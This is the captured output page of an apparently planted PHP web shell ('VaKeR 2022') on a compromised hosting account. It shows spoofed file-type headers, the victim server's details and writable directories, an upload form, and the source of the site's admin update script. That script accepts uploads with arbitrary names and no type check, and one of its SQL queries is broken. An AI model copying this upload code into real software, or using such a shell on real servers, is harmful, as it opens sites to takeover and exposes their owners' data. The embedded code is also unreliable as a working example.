%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/admin/rugwashingupdatedata.php
<?php
include('../dbcon.php');


$id = mysqli_real_escape_string($conn, $_POST['sid']);
$rugwashing_title = mysqli_real_escape_string($conn, $_POST['rugwashing_title']);
$rugwashing_title_ar = mysqli_real_escape_string($conn, $_POST['rugwashing_title_ar']);
$content = mysqli_real_escape_string($conn, $_POST['content']);
$content_ar = mysqli_real_escape_string($conn, $_POST['content_ar']);



if (isset($_FILES['gallery']['name']) && !empty($_FILES['gallery']['name'])) {
    $galleryname = $_FILES['gallery']['name'];
    $tempname = $_FILES['gallery']['tmp_name'];

    
    $upload_dir = "./dataimg/";
    if (!file_exists($upload_dir)) {
        mkdir($upload_dir, 0777, true);
    }
    $upload_path = $upload_dir . $galleryname;

    if (move_uploaded_file($tempname, $upload_path)) {
        
        $qry = "UPDATE `rugwashing` SET `image_gallery` = '$galleryname', `rugwashing_title` = '$rugwashing_title', `rugwashing_title_ar` = '$rugwashing_title_ar', `content` = '$content', `content_ar` = '$content_ar' WHERE `id` = '$id'";
    } else {
        echo "<script>alert('Failed to upload the new Rug Washing.');</script>";
        exit();
    }
} else {
    
    $qry = "UPDATE `rugwashing SET `rugwashing_title` = '$rugwashing_title',`rugwashing_title_ar` = '$rugwashing_title_ar', `content` = '$content', `content_ar` = '$content_ar' WHERE `id` = '$id'";
}


$run = mysqli_query($conn, $qry);

if ($run === true) {
    echo "<script>
        alert('Rug Washing Updated Successfully');
        window.open('rugwashingshow.php?sid=$id', '_self');
        </script>";
} else {
    echo "<script>alert('Database Error: " . mysqli_error($conn) . "');</script>";
}
?>

VaKeR 2022